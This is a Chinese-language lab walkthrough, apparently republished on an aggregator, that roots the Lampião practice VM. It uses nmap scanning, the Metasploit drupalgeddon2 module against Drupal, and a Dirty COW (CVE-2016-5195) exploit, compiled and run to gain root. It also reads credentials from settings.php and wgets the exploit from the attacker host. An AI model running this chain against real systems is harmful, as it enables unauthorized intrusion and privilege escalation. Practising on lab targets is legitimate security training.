脏牛提权(靶机复现)

news2024/9/19 10:57:30

目录

一、脏牛漏洞概述

二、漏洞复现

1.nmap信息收集

1.1.查看当前IP地址

1.2.扫描当前网段,找出目标机器

1.3.快速扫描目标机全端口

三、访问收集到的资产

192.168.40.134:80

192.168.40.134:1898

四、msf攻击

1.查找对应exp

2.选择对应exp并配置相关设置

五、内网漏洞信息收集

六、漏洞利用

方法一

1.上传漏洞exp进行利用

2.上传exp

3.编译exp并使用python开启一个bash终端

4.执行编译后的exp

5.su登录root账户

方法二

1.通过排查信息,发现网站配置信息

2.ssh连接

3.传入exp并编译执行。


一、脏牛漏洞概述

脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。

漏洞范围

Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

漏洞编号

脏牛的CVE编号是CVE-2016-5195。

漏洞危害

低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

漏洞原理

该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。

恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。

利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

二、漏洞复现

  • 环境:同一内网下
  • 靶机下载:
    • 链接:百度网盘 请输入提取码
    • 提取码:TBUG

1.nmap信息收集

1.1.查看当前IP地址

┌──(root㉿tubug)-[~/桌面]
└─# ifconfig eth0 | grep inet
        inet 192.168.40.130  netmask 255.255.255.0  broadcast 192.168.40.255
        inet6 fe80::20c:29ff:fe88:e3c  prefixlen 64  scopeid 0x20<link>

1.2.扫描当前网段,找出目标机器

┌──(root㉿tubug)-[~/桌面]
└─# nmap -sP 192.168.40.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/

发现目标机为:192.168.40.134

1.3.快速扫描目标机全端口

┌──(root㉿tubug)-[~/桌面]
└─# nmap -sS -p 1-65535 192.168.40.134
/*
-sS	SYN扫描技术
-p  指定端口
*/

三、访问收集到的资产

192.168.40.134:80

192.168.40.134:1898

访问发现关键信息网站指纹:Drupal

四、msf攻击

1.查找对应exp

┌──(root㉿tubug)-[~/桌面]
└─# msfconsole
msf6 > search drupal

2.选择对应exp并配置相关设置

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.40.134
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > getuid
Server username: www-data

该exp漏洞属于远程代码执行漏洞
构造特殊的HTTP请求,将恶意代码注入到网站的表单处理程序中从而执行恶意代码。

五、内网漏洞信息收集

📎bug.sh

meterpreter > upload /root/bug.sh /tmp/1.sh
meterpreter > shell
pwd
		/var/www/html

cd /tmp/

pwd
		/tmp

ls
		1.sh

bash 1.sh

发现脏牛漏洞,CVE-2016-5195

六、漏洞利用

方法一

1.上传漏洞exp进行利用

📎dcow.cpp

2.上传exp

meterpreter > upload /root/dcow.cpp /tmp/dirtcow.cpp
meterpreter > shell
cd /tmp

3.编译exp并使用python开启一个bash终端

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'

4.执行编译后的exp

www-data@lampiao:/tmp$ ./dcow   
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

5.su登录root账户

www-data@lampiao:/tmp$ su root 
su root 
Password: dirtyCowFun

方法二

1.通过排查信息,发现网站配置信息

meterpreter > shell
cd /var/www/html/sites/default/
cat settings.php

发现一个账号以及密码

发现账号不像是正经账号,使用ssh连接提示密码错误,猜测用户名可能另有其人。

cd /home                                                                                                                                                                                         
ls                                                                                                                                                                                               
	tiago

进入用户家目录发现一个名位tiago的名称,尝试ssh连接

2.ssh连接

发现是一个普通用户

3.传入exp并编译执行。

使用http协议传输exp至目标机。

注:scp命令需root账号密码。

kali开启网站服务,并将exp存放到网站目录下。使用普通用户下载exp。

root㉿tubug)-[~/桌面]
└─# service apache2 start 		

┌──(root㉿tubug)-[~]
└─# ls /var/www/html/dcow.cpp

					/var/www/html/dcow.cpp


tiago@lampiao:~$ wget http://192.168.40.130/dcow.cpp

tiago@lampiao:~$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
tiago@lampiao:~$ ls
dcow  dcow.cpp


tiago@lampiao:~$ ./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)


tiago@lampiao:~$ su - root
Password: 


root@lampiao:~# id
uid=0(root) gid=0(root) groups=0(root)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1546787.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于dell SC4020/SCv2000中的BBU电池的一些常见问题汇总

近期销售了一些DELL SC4020/SCv2000的BBU&#xff08;PN&#xff1a;0XJW8Y 或者 0C27CW&#xff09;电池&#xff0c;有一些共性的问题&#xff0c;这里汇总下&#xff0c;供朋友们参考。还有没有覆盖到的问题&#xff0c;可以加VX: StorageExpert继续讨论。 1. 两个PN是否通用…

2023年蓝桥杯省赛——数组分割

目录 题目链接&#xff1a;1.数组分割 - 蓝桥云课 (lanqiao.cn) 思路 数学问题解答 思路 代码实现 总结 题目链接&#xff1a;1.数组分割 - 蓝桥云课 (lanqiao.cn) 思路 众所周知&#xff0c;蓝桥杯又叫&#xff0c;数学杯&#xff0c;这道题其实就是一个数学问题&#x…

Web应用防火墙是什么?分享工作原理及部署建议

Web应用防火墙&#xff08;WAF&#xff09;诞生于互联网的早期时间&#xff0c;它通常会感知用户、会话和应用&#xff0c;了解其背后的Web应用及其提供的服务。正因如此&#xff0c;WAF可以看作是用户和应用之间的中介&#xff0c;并会提前对往来于两者之前的通信进行分析。那…

matlab实现神经网络检测手写数字

一、要求 1.计算sigmoid函数的梯度&#xff1b; 2&#xff0e;随机初始化网络权重&#xff1b; 3.编写网络的代价函数。 二、算法介绍 神经网络结构&#xff1a; 不正则化的神经网络的代价函数&#xff1a; 正则化&#xff1a; S型函数求导&#xff1a; 反向传播算法&…

蓝桥杯2023年第十四届省赛真题-买瓜|DFS+剪枝

题目链接&#xff1a; 0买瓜 - 蓝桥云课 (lanqiao.cn) 蓝桥杯2023年第十四届省赛真题-买瓜 - C语言网 (dotcpp.com) &#xff08;蓝桥官网的数据要求会高一些&#xff09; 说明&#xff1a; 这道题可以分析出&#xff1a;对一个瓜有三种选择&#xff1a; 不拿&#xff0c…

C语言笔记:重学输入和输出

ACM金牌带你零基础直达C语言精通-课程资料 本笔记属于船说系列课程之一&#xff0c;课程链接&#xff1a;ACM金牌带你零基础直达C语言精通https://www.bilibili.com/cheese/play/ep159068?csourceprivate_space_class_null&spm_id_from333.999.0.0 你也可以选择购买『船说…

AI论文速读 | 具有时间动态的路网语义增强表示学习

论文标题&#xff1a; Semantic-Enhanced Representation Learning for Road Networks with Temporal Dynamics 作者&#xff1a; Yile Chen&#xff08;陈亦乐&#xff09; ; Xiucheng Li&#xff08;李修成&#xff09;; Gao Cong&#xff08;丛高&#xff09; ; Zhifeng Ba…

深入探讨iOS开发:从创建第一个iOS程序到纯代码实现全面解析

iOS开发作为移动应用开发的重要领域之一&#xff0c;对于开发人员具有重要意义。本文将深入探讨iOS开发的各个方面&#xff0c;从创建第一个iOS程序到纯代码实现iOS开发&#xff0c;带领读者全面了解iOS应用程序的开发流程和技术要点。 &#x1f4f1; 第一个iOS程序 在创建第…

第1章 实时3D渲染流水线

前言 本书所剖析的Unity 3D内置着色器代码版本是2017.2.0f3&#xff0c;读者可以从Unity 3D官网下载这些着色器代码。这些代码以名为builtin_shaders-2017.2.0f3.zip的压缩包的形式提供&#xff0c;解压缩后&#xff0c;内有4个目录和1个license.txt文件。 目录CGIncludes存放了…

【系统架构师】-基础知识整理

1、面向对象设计得四种关系 关系类型概念特点例子关联关系表示不同类的对象之间有联系&#xff0c;但是一方并不完全拥有另一方&#xff0c;也不对其生命周期负责。关联关系可以是单向的也可以是双向的。耦合度高通常用来表示不同类的对象之间的联系&#xff0c;如“使用”或“…

Kafka消费者:监听模式VS主动拉取,哪种更适合你?

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 Kafka消费者&#xff1a;监听模式VS主动拉取&#xff0c;哪种更适合你&#xff1f; 前言监听模式的实现监听器&#xff08;Listener&#xff09;的概念和作用使用监听器实现 Kafka 消费者的步骤和方法…

DDoS攻击升级,解读防御DDoS攻击的几大有效方法

前不久&#xff0c;Gcore发布了2023年第三、四季度DDoS攻击趋势报告&#xff0c;报告中指出DDoS攻击的规模以及复杂性持续增长&#xff0c;且这种增长是触目惊心的。全球每天大约发生23000次DDoS攻击&#xff0c;每39秒就会发生一次新的网络攻击&#xff0c;电信公司、政府部门…

javaSwing连连看游戏

一、简介 基于java的连连看游戏设计和实现&#xff0c;基本功能包括&#xff1a;消除模块&#xff0c;重新开始模块&#xff0c;刷新模块&#xff0c;选择难度模块&#xff0c;计时模块。本系统结构如下&#xff1a; &#xff08;1&#xff09;消除模块&#xff1a; 完成连连…

【MATLAB源码-第13期】基于matlab的4ASK的误码率BER和误符号率SER理论和实际对比仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 "4ASK" 是一种数字调制技术&#xff0c;代表4级振幅移移键控&#xff08;4-Level Amplitude Shift Keying&#xff09;调制。它是一种数字通信中常用的调制方式之一&#xff0c;用于将数字信号转换为模拟信号以便传…

map china not exists. the geojson of the map must be provided.

map china not exists. the geojson of the map must be provided. 场景&#xff1a;引入echarts地图报错map china not exists. the geojson of the map must be provided. 原因&#xff1a; echarts版本过高&#xff0c;ECharts 之前提供下载的矢量地图数据来自第三方&…

小白学视觉 | 图像上的 OpenCV 算术运算

本文来源公众号“小白学视觉”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;图像上的 OpenCV 算术运算 1 OpenCV 简介 图像可以进行算术运算&#xff0c;例如加法、减法和按位运算&#xff08;AND、OR、NOT、XOR&#xff09;。…

模拟器App抓包 - 证书双向验证绕过手段

希望和各位大佬一起学习&#xff0c;如果文章内容有错请多多指正&#xff0c;谢谢&#xff01; 个人博客链接&#xff1a;CH4SER的个人BLOG – Welcome To Ch4sers Blog 0x00 Frida 环境配置 1. 本地安装 Frida pip install frida pip install frida-tools2. 模拟器安装 Fr…

【详细讲解yarn的安装和使用】

&#x1f308;个人主页:程序员不想敲代码啊&#x1f308; &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家&#x1f3c6; &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提…

leetcode 15.三数之和 JAVA 双指针法

题目 思路 双指针法 去重 为啥要去重呢&#xff1f;因为题目中说了要返回不重复的三元组。拿示例1来看&#xff0c;&#xff08;-1&#xff0c;0&#xff0c;1&#xff09;和&#xff08;0&#xff0c;1&#xff0c;-1&#xff09;虽然都等于0&#xff0c;但其实它们里面的数…

Unix环境高级编程-学习-08-自旋锁与屏障

目录 一、多线程相关文章链接 二、自由抒发 1、自旋锁 2、屏障 三、函数介绍 1、pthread_spin_init &#xff08;1&#xff09;声明 &#xff08;2&#xff09;作用 &#xff08;3&#xff09;参数 &#xff08;4&#xff09;返回值 &#xff08;5&#xff09;注意点 …